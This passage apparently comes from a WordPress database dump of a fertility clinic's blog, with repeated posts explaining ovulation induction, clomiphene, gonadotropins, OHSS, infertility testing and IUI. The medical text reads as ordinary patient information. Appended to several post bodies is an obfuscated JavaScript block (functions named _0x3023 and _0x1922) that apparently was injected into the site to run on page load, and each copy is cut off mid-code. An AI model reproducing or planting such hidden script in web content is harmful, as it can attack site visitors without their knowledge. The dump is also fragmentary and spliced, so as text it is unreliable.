decrease these risks.</p>\r\n<p>In addition to problems associated with high order multiple gestation, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS), in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.</p>\r\n\r\n<strong>When should I test for pregnancy?</strong>\r\n<p>Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow.  If you are pregnant the menstrual flow will not come.  Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.</p>\r\n<p>If your period does not come, continue to test for pregnancy every second day.  Contact your doctor if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative.  Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle.  Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.</p>\r\n\r\n<strong>Reference:</strong>\r\n<p>vulation Problems and Infertility: Treatment of ovulation problems with Clomid and other fertility drugs Advanced<a href=\"https://www.nuhospitals.com/infertility-ivf/\"> Fertility Center</a> of Chicago. Gurnee & Crystal Lake, Illinois</p>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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08:58:38','2018-02-12 08:58:38','<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/3.png\"></center>\r\n\r\n\r\n\r\n<strong>What is ovulation?</strong>\r\n<p>Usually each month one ovary will be stimulated by hormones produced in the brain.  These cause a small cyst or follicle to grow on the ovary in which an egg develops.  Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilised by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period, but can vary between 11 – 16 days.</p>\r\n<!--more-->\r\n<strong>What is ovulation induction?</strong>\r\n<p>Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.</p>\r\n<strong>Who needs ovulation induction?</strong>\r\n<p>If a woman is not ovulating by herself then ovulation induction may be required. The most common causes of failure to ovulate are</p>\r\n<ul>\r\n	<li>Stress</li>\r\n	<li>Weight fluctuations</li>\r\n	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\n<p>Other causes may include disorders of the pituitary gland, thyroid gland and raised prolactin levels. In some cases failure of ovulation is due to the ovarian failure. This may occur following treatment for cancer or may be the start of the menopause – premature ovarian failure.</p>\r\n\r\n<strong>What is clomiphene citrate?</strong>\r\n<p>Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti estrogen and the most commonly used drug for inducing ovulation.</p>\r\n\r\n<strong>How should Clomiphene be taken?</strong>\r\n<p>Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.</p>\r\n\r\n<strong>What are the potential side effects of clomiphene?</strong>\r\n<p>Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.</p>\r\n\r\n<strong>What are the chances of conceiving with clomiphene?</strong>\r\n<p>For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.</p>\r\n\r\n<strong>What are gonadotrophins?</strong>\r\n<p>Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.</p>\r\n\r\n<strong>How will the cycle be monitored while on ovulation induction drugs?</strong>\r\n<strong>Ultrasound:</strong>\r\n<p>The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give hCG injection (human chorionic gonadotrophin) to assist with the release of the egg.</p>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\"></center>\r\n\r\n<b>Blood tests:</b>\r\n<p>Testing the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.</p>\r\n<p>Your progesterone level is usually checked six to eight days after you ovulate (about day 21 of a day 28 cycle). This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal period, your serum progesterone levels will begin to fall if the egg is not fertilized.</p>\r\n\r\n<strong>What are the side effects of gonadotropins?</strong>\r\n<p>There are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.</p>\r\n<p>In addition to problems associated with high order multiple gestation, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS), in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.</p>\r\n\r\n<strong>When should I test for pregnancy?</strong>\r\n<p>Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow.  If you are pregnant the menstrual flow will not come.  Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.</p>\r\n<p>If your period does not come, continue to test for pregnancy every second day.  Contact your doctor if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative.  Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle.  Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.</p>\r\n\r\n<strong>Reference:</strong>\r\n<p>vulation Problems and Infertility: Treatment of ovulation problems with Clomid and other fertility drugs Advanced<a href=\"https://www.nuhospitals.com/infertility-ivf/\"> Fertility Center</a> of Chicago. Gurnee & Crystal Lake, Illinois</p>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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05:28:36','',160,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/3.jpg',0,'attachment','image/jpeg',0),(183,1,'2024-03-29 11:24:34','2024-03-29 11:24:34','<div style=\"text-align: justify;\">\n\n<script type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"FAQPage\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"What is ovulation?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Usually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\"}},{\"@type\":\"Question\",\"name\":\"What is ovulation induction?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\"}},{\"@type\":\"Question\",\"name\":\"What is clomiphene citrate?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\"}},{\"@type\":\"Question\",\"name\":\"How should Clomiphene be taken?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\"}},{\"@type\":\"Question\",\"name\":\"What are the potential side effects of clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\"}},{\"@type\":\"Question\",\"name\":\"What are the chances of conceiving with clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\"}},{\"@type\":\"Question\",\"name\":\"What are gonadotrophins?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\"}},{\"@type\":\"Question\",\"name\":\"When should I test for pregnancy?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\"}}]}</script>\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong><strong>What is ovulation?</strong></strong></h2>\nUsually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><!--more-->\n<strong>What is ovulation induction?</strong></h2>\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\nIf a woman is not ovulating by herself then ovulation induction may be required.\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\n<ul>\n 	<li>Stress</li>\n 	<li>Weight fluctuations</li>\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\n</ul>\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\n\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\n\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\n\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\n\n<strong>Reference:</strong>\n\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. 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brain.  These cause a small cyst or follicle to grow on the ovary in which an egg develops.  Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilised by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period, but can vary between 11 – 16 days.</p>\r\n<!--more-->\r\n<strong>What is ovulation induction?</strong>\r\n<p>Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.</p>\r\n<strong>Who needs ovulation induction?</strong>\r\n<p>If a woman is not ovulating by herself then ovulation induction may be required. The most common causes of failure to ovulate are</p>\r\n<ul>\r\n	<li>Stress</li>\r\n	<li>Weight fluctuations</li>\r\n	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\n<p>Other causes may include disorders of the pituitary gland, thyroid gland and raised prolactin levels. In some cases failure of ovulation is due to the ovarian failure. This may occur following treatment for cancer or may be the start of the menopause – premature ovarian failure.</p>\r\n\r\n<strong>What is clomiphene citrate?</strong>\r\n<p>Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti estrogen and the most commonly used drug for inducing ovulation.</p>\r\n\r\n<strong>How should Clomiphene be taken?</strong>\r\n<p>Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.</p>\r\n\r\n<strong>What are the potential side effects of clomiphene?</strong>\r\n<p>Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.</p>\r\n\r\n<strong>What are the chances of conceiving with clomiphene?</strong>\r\n<p>For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.</p>\r\n\r\n<strong>What are gonadotrophins?</strong>\r\n<p>Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.</p>\r\n\r\n<strong>How will the cycle be monitored while on ovulation induction drugs?</strong>\r\n<strong>Ultrasound:</strong>\r\n<p>The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give hCG injection (human chorionic gonadotrophin) to assist with the release of the egg.</p>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\"></center>\r\n\r\n<b>Blood tests:</b>\r\n<p>Testing the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.</p>\r\n<p>Your progesterone level is usually checked six to eight days after you ovulate (about day 21 of a day 28 cycle). This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal period, your serum progesterone levels will begin to fall if the egg is not fertilized.</p>\r\n\r\n<strong>What are the side effects of gonadotropins?</strong>\r\n<p>There are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.</p>\r\n<p>In addition to problems associated with high order multiple gestation, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS), in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.</p>\r\n\r\n<strong>When should I test for pregnancy?</strong>\r\n<p>Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow.  If you are pregnant the menstrual flow will not come.  Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.</p>\r\n<p>If your period does not come, continue to test for pregnancy every second day.  Contact your doctor if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative.  Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle.  Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.</p>\r\n\r\n<strong>Reference:</strong>\r\n<p>vulation Problems and Infertility: Treatment of ovulation problems with Clomid and other fertility drugs Advanced<a href=\"https://www.nuhospitals.com/infertility-ivf/\"> Fertility Center</a> of Chicago. Gurnee & Crystal Lake, Illinois</p>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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04:11:23','',148,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF1.jpg',0,'attachment','image/jpeg',0),(186,1,'2018-02-12 09:02:26','2018-02-12 09:02:26','<strong>What is infertility?</strong>\r\n<p><a href=\"https://www.nuhospitals.com/infertility-ivf/\">Infertility </a>is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.</p>\r\n <!--more-->\r\n<strong>How common is the problem?</strong>\r\n<p>Infertility is a medical condition that affects up to one in six couples of reproductive age</p>\r\n\r\n<strong>What influences the infertility?</strong>\r\n<p>The single biggest influence on a couple’s chances of getting pregnant is woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.</p>\r\n\r\n<strong>What are the causes of infertility?</strong>\r\n<p>Causes of infertility are varied and can include:</p>\r\n<ul>\r\n<li>Problem with the production of sperm or eggs.</li>\r\n	<li>Structural or functional issues with the female or male reproductive systems.</li>\r\n	<li>Hormone or immune conditions in men, women or both.</li>\r\n</ul>\r\n\r\n<strong>How do we assess female infertility?</strong>\r\n<p>The first step for couples seeking <a href\"https://www.nuhospitals.com/ivf/infertility-treatment/\">fertility </a>treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.</p>\r\n<p>To measure female fertility, the following tests are often performed:</p>\r\n<ul>\r\n	<li>Ovulation test – a quick blood test to asses if the woman is producing an egg each month or not.</li>\r\n	<li>Ultrasound scan – a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\r\n	<li>Ovarian Reserve (AMH Test) – a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery / history of cancer chemotherapy or pelvic radiation.</li>\r\n</ul>\r\n<p>Sometimes fertility specialists also perform additional tests, including a hysterosalphingogram (HSG), sonohysterogram or a diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries and uterus.</p>\r\n<strong>How do we assess male infertility?</strong>\r\n<p>The most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue  with his <a href=\"https://www.nuhospitals.com/fertility/\">fertility.</a></p>\r\n<p>Specialist Andrology assessment of sperm is essential to measure:</p>\r\n<ul>\r\n<li>The number of sperm, volume and consistency of the sample.</li>\r\n	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\r\n\r\n\r\n</ul>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\"></center>\r\n\r\n<strong>What treatment options are available for infertility?</strong>\r\n<p>There are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.</p>\r\n<p>Intra-uterine Insemination (IUI) is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.</p>\r\n<p>A more advanced treatment option, In vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.</p>\r\n<p>In case of severe male infertility, Intra Cytoplasmic Sperm Injection (ICSI) is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.</p>\r\n<strong>Overview of an IVF Cycle</strong>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\"></center>\r\n<b>IUI- Intrauterine Insemination</b>\r\n<center><img src=\"http://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\"></center>\r\n\r\n<strong>What is the right time to have a baby?</strong>\r\n<p>Women 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.</p>\r\n\r\n<strong>Reference</strong>\r\n<ul>\r\n<li>Diagnostic evaluation of the infertile female; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no6, june 2015, 0015-0282</li>\r\n<li>Diagnostic evaluation of the infertile male; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\r\n</ul>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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motile (actively swimming) sperm, through the cervix and directly into the uterus.</p>\r\n<!--more-->\r\n<strong>WHY IS IUI PERFORMED?</strong>\r\n<ul>\r\n 	<li>Lack of conception after a woman has been on ovulation enhancing agents. This can be particularly important when taking Clomiphene since it can cause decreased cervical mucus</li>\r\n	<li>Cervical factor</li>\r\n	<li>Mild to moderately abnormal semen parameters can be an indication for IUI</li>\r\n	<li>Unexplained <a href=\"https://www.nuhospitals.com/infertility-ivf/\">infertility</a></li>\r\n	<li>Minimal – mild endometriosis</li>\r\n	<li>Advancing maternal age</li>\r\n	<li>Male ejaculatory dysfunction</li>\r\n	<li>Use of frozen sperm</li>\r\n	<li>When <a href=\"https://en.wikipedia.org/wiki/Sperm_donation\">donor sperm </a>needs to be used</li>\r\n\r\n </ul>\r\n\r\n<strong>HOW IS AN IUI PERFORMED?</strong>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog2-300x50.png\">\r\n<p>An IUI is performed by threading a very thin flexible catheter through the cervix and injecting washed sperm directly into the uterus. It usually requires the insertion of a speculum and then the catheter. The whole process takes only few minutes.</p>\r\n\r\n<strong>WHEN IS THE BEST TIME TO DO AN IUI?</strong>\r\n<p>Ideally an IUI should be performed around the time of ovulation. When timing is based on an hCG (human chorionic gonadotropin) injection, the IUI’s are usually done between 24 and 48 hours later. If two IUI’s are scheduled, they are usually spaced at least 24 hours apart.</p>\r\n\r\n<strong>Where is the sperm collected? How long before the IUI?</strong>\r\n<p>Usually the sample is collected through ejaculation into a sterile collection cup. Most clinics 